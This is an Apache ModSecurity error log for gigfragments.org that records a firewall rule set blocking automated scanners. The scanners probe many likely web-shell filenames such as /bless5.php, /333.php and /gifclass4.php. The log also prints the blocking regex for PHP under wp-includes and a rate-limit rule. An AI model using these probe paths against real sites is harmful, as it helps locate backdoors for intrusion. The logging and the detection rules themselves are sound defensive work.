[Mon Feb 23 07:48:26.740541 2026] [:error] [pid 25294:tid 25368] [client 20.203.249.16:8890] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aZuVyiRCFB3CqIo_jfY_egAAAFE"]
[Mon Feb 23 07:48:27.221529 2026] [:error] [pid 25380:tid 25385] [client 20.203.249.16:10425] [client 20.203.249.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aZuVy6Krc8yFQ8fy78rzLwAAAMM"]
[Mon Feb 23 07:48:27.745651 2026] [:error] [pid 25294:tid 25360] [client 20.203.249.16:29829] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aZuVyyRCFB3CqIo_jfY_ewAAAE0"]
[Mon Feb 23 07:48:28.251237 2026] [:error] [pid 25295:tid 25355] [client 20.203.249.16:9195] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aZuVzI2Av4J1Jnqi7yKCSwAAAJE"]
[Mon Feb 23 07:48:28.723969 2026] [:error] [pid 25293:tid 25322] [client 20.203.249.16:9156] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aZuVzOL9XfBf66iHi_d6ewAAABc"]
[Mon Feb 23 07:48:29.198035 2026] [:error] [pid 25295:tid 25332] [client 20.203.249.16:11254] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aZuVzY2Av4J1Jnqi7yKCTAAAAII"]
[Mon Feb 23 07:48:29.675335 2026] [:error] [pid 25294:tid 25375] [client 20.203.249.16:19430] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aZuVzSRCFB3CqIo_jfY_fQAAAFY"]
[Mon Feb 23 07:48:30.310097 2026] [:error] [pid 25295:tid 25349] [client 20.203.249.16:11262] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aZuVzo2Av4J1Jnqi7yKCUQAAAI4"]
[Mon Feb 23 07:48:30.812044 2026] [:error] [pid 25294:tid 25368] [client 20.203.249.16:10634] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aZuVziRCFB3CqIo_jfY_gAAAAFE"]
[Mon Feb 23 07:48:31.347209 2026] [:error] [pid 25293:tid 25301] [client 20.203.249.16:11260] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aZuVz-L9XfBf66iHi_d6gQAAAAI"]
[Mon Feb 23 07:48:31.831287 2026] [:error] [pid 25293:tid 25307] [client 20.203.249.16:2277] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aZuVz-L9XfBf66iHi_d6gwAAAAg"]
[Mon Feb 23 07:48:32.302684 2026] [:error] [pid 25380:tid 25400] [client 20.203.249.16:2280] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aZuV0KKrc8yFQ8fy78rzOQAAANI"]
[Mon Feb 23 07:48:32.830114 2026] [:error] [pid 25294:tid 25364] [client 20.203.249.16:7297] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aZuV0CRCFB3CqIo_jfY_gwAAAE8"]
[Mon Feb 23 07:48:33.305792 2026] [:error] [pid 25294:tid 25343] [client 20.203.249.16:11237] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aZuV0SRCFB3CqIo_jfY_hgAAAEU"]
[Mon Feb 23 07:48:33.779479 2026] [:error] [pid 25380:tid 25406] [client 20.203.249.16:2686] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aZuV0aKrc8yFQ8fy78rzPQAAANg"]
[Mon Feb 23 07:48:34.256533 2026] [:error] [pid 25380:tid 25382] [client 20.203.249.16:27618] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aZuV0qKrc8yFQ8fy78rzPgAAAMA"]
[Mon Feb 23 07:48:34.727559 2026] [:error] [pid 25294:tid 25368] [client 20.203.249.16:18677] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aZuV0iRCFB3CqIo_jfY_iAAAAFE"]
[Mon Feb 23 07:48:35.201171 2026] [:error] [pid 25380:tid 25384] [client 20.203.249.16:7319] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aZuV06Krc8yFQ8fy78rzQwAAAMI"]
[Mon Feb 23 07:48:35.756903 2026] [:error] [pid 25293:tid 25320] [client 20.203.249.16:7303] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aZuV0-L9XfBf66iHi_d6jQAAABU"]
[Mon Feb 23 07:48:36.237725 2026] [:error] [pid 25293:tid 25316] [client 20.203.249.16:29984] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aZuV1OL9XfBf66iHi_d6kQAAABE"]
[Mon Feb 23 07:48:36.720904 2026] [:error] [pid 25294:tid 25358] [client 20.203.249.16:2264] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aZuV1CRCFB3CqIo_jfY_iwAAAEw"]
[Mon Feb 23 07:48:37.194315 2026] [:error] [pid 25293:tid 25319] [client 20.203.249.16:30010] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aZuV1eL9XfBf66iHi_d6lgAAABQ"]
[Mon Feb 23 07:48:37.671084 2026] [:error] [pid 25293:tid 25308] [client 20.203.249.16:29856] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aZuV1eL9XfBf66iHi_d6lwAAAAk"]
[Mon Feb 23 07:48:38.148308 2026] [:error] [pid 25293:tid 25304] [client 20.203.249.16:15430] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aZuV1uL9XfBf66iHi_d6mAAAAAU"]
[Mon Feb 23 07:48:38.626374 2026] [:error] [pid 25293:tid 25302] [client 20.203.249.16:2297] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aZuV1uL9XfBf66iHi_d6mgAAAAM"]
[Mon Feb 23 07:48:39.104321 2026] [:error] [pid 25293:tid 25318] [client 20.203.249.16:2838] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aZuV1-L9XfBf66iHi_d6nAAAABM"]
[Mon Feb 23 07:48:39.593696 2026] [:error] [pid 25295:tid 25357] [client 20.203.249.16:10680] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aZuV142Av4J1Jnqi7yKCZgAAAJI"]
[Mon Feb 23 07:48:40.065914 2026] [:error] [pid 25293:tid 25309] [client 20.203.249.16:2274] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aZuV2OL9XfBf66iHi_d6nwAAAAo"]
[Mon Feb 23 07:48:40.538868 2026] [:error] [pid 25380:tid 25390] [client 20.203.249.16:5968] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aZuV2KKrc8yFQ8fy78rzTAAAAMg"]
[Mon Feb 23 07:48:41.014180 2026] [:error] [pid 25295:tid 25352] [client 20.203.249.16:5470] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aZuV2Y2Av4J1Jnqi7yKCbAAAAI8"]
[Mon Feb 23 07:48:41.484968 2026] [:error] [pid 25380:tid 25406] [client 20.203.249.16:3610] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aZuV2aKrc8yFQ8fy78rzUgAAANg"]
[Mon Feb 23 07:48:41.977498 2026] [:error] [pid 25295:tid 25342] [client 20.203.249.16:29878] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "aZuV2Y2Av4J1Jnqi7yKCbQAAAIo"]
[Mon Feb 23 07:48:42.491567 2026] [:error] [pid 25295:tid 25369] [client 20.203.249.16:11227] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aZuV2o2Av4J1Jnqi7yKCcQAAAJg"]
[Mon Feb 23 07:48:42.974733 2026] [:error] [pid 25295:tid 25336] [client 20.203.249.16:18629] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aZuV2o2Av4J1Jnqi7yKCcgAAAIU"]
[Mon Feb 23 07:48:43.446000 2026] [:error] [pid 25293:tid 25318] [client 20.203.249.16:15484] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aZuV2-L9XfBf66iHi_d6pwAAABM"]
[Mon Feb 23 07:48:43.946276 2026] [:error] [pid 25294:tid 25377] [client 20.203.249.16:29839] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aZuV2yRCFB3CqIo_jfY_lQAAAFg"]
[Mon Feb 23 07:48:44.446656 2026] [:error] [pid 25295:tid 25347] [client 20.203.249.16:9188] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aZuV3I2Av4J1Jnqi7yKCdgAAAI0"]
[Mon Feb 23 07:48:44.920813 2026] [:error] [pid 25380:tid 25398] [client 20.203.249.16:2381] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aZuV3KKrc8yFQ8fy78rzXwAAANA"]
[Mon Feb 23 07:48:45.401270 2026] [:error] [pid 25294:tid 25343] [client 20.203.249.16:15002] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aZuV3SRCFB3CqIo_jfY_mgAAAEU"]
[Mon Feb 23 07:48:45.880887 2026] [:error] [pid 25380:tid 25385] [client 20.203.249.16:18628] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aZuV3aKrc8yFQ8fy78rzYgAAAMM"]
[Mon Feb 23 07:48:46.354259 2026] [:error] [pid 25380:tid 25384] [client 20.203.249.16:2263] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aZuV3qKrc8yFQ8fy78rzZAAAAMI"]
[Mon Feb 23 07:48:46.835289 2026] [:error] [pid 25380:tid 25395] [client 20.203.249.16:10678] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aZuV3qKrc8yFQ8fy78rzaQAAAM0"]
[Mon Feb 23 07:48:47.318475 2026] [:error] [pid 25380:tid 25386] [client 20.203.249.16:10396] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aZuV36Krc8yFQ8fy78rzbwAAAMQ"]
[Mon Feb 23 07:48:47.809970 2026] [:error] [pid 25380:tid 25402] [client 20.203.249.16:8138] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xaz.php"] [unique_id "aZuV36Krc8yFQ8fy78rzcQAAANQ"]
[Mon Feb 23 08:06:31.275974 2026] [:error] [pid 25294:tid 25354] [client 182.43.70.143:60330] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZuaByRCFB3CqIo_jfZNMQAAAEo"]
[Mon Feb 23 08:43:01.072437 2026] [:error] [pid 39538:tid 39558] [client 20.151.220.171:7105] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sty.php"] [unique_id "aZuilS4Zk8-cQOG3ZnoV5QAAAZA"]
[Mon Feb 23 08:43:01.540452 2026] [:error] [pid 25295:tid 25344] [client 20.151.220.171:7144] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sty.php"] [unique_id "aZuilY2Av4J1Jnqi7yKW1AAAAIs"]
[Mon Feb 23 08:43:01.959913 2026] [:error] [pid 29909:tid 29919] [client 20.151.220.171:7160] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sty.php"] [unique_id "aZuilT9oc2QzltksUk6okgAAAQg"]
[Mon Feb 23 08:43:02.372930 2026] [:error] [pid 39640:tid 39677] [client 20.151.220.171:7143] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sty.php"] [unique_id "aZuiltsK--eVCgzvvuciHgAAAoc"]
[Mon Feb 23 08:43:02.789041 2026] [:error] [pid 39540:tid 39593] [client 20.151.220.171:7112] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wwx.php"] [unique_id "aZuilrsgm9aTWhlRScJf5AAAAdg"]
[Mon Feb 23 08:43:03.208832 2026] [:error] [pid 39540:tid 39575] [client 20.151.220.171:7164] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wwx.php"] [unique_id "aZuil7sgm9aTWhlRScJf6AAAAcY"]
[Mon Feb 23 08:43:03.627297 2026] [:error] [pid 25293:tid 25305] [client 20.151.220.171:7118] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wwx.php"] [unique_id "aZuil-L9XfBf66iHi_eKowAAAAY"]
[Mon Feb 23 08:43:04.047953 2026] [:error] [pid 39540:tid 39591] [client 20.151.220.171:7122] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wwx.php"] [unique_id "aZuimLsgm9aTWhlRScJf7gAAAdY"]
[Mon Feb 23 08:43:04.467710 2026] [:error] [pid 39540:tid 39579] [client 20.151.220.171:7126] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tevkb.php"] [unique_id "aZuimLsgm9aTWhlRScJf9AAAAco"]
[Mon Feb 23 08:43:04.887163 2026] [:error] [pid 39540:tid 39591] [client 20.151.220.171:7044] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tevkb.php"] [unique_id "aZuimLsgm9aTWhlRScJf-QAAAdY"]
[Mon Feb 23 08:43:05.300567 2026] [:error] [pid 39540:tid 39575] [client 20.151.220.171:7140] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tevkb.php"] [unique_id "aZuimbsgm9aTWhlRScJf_gAAAcY"]
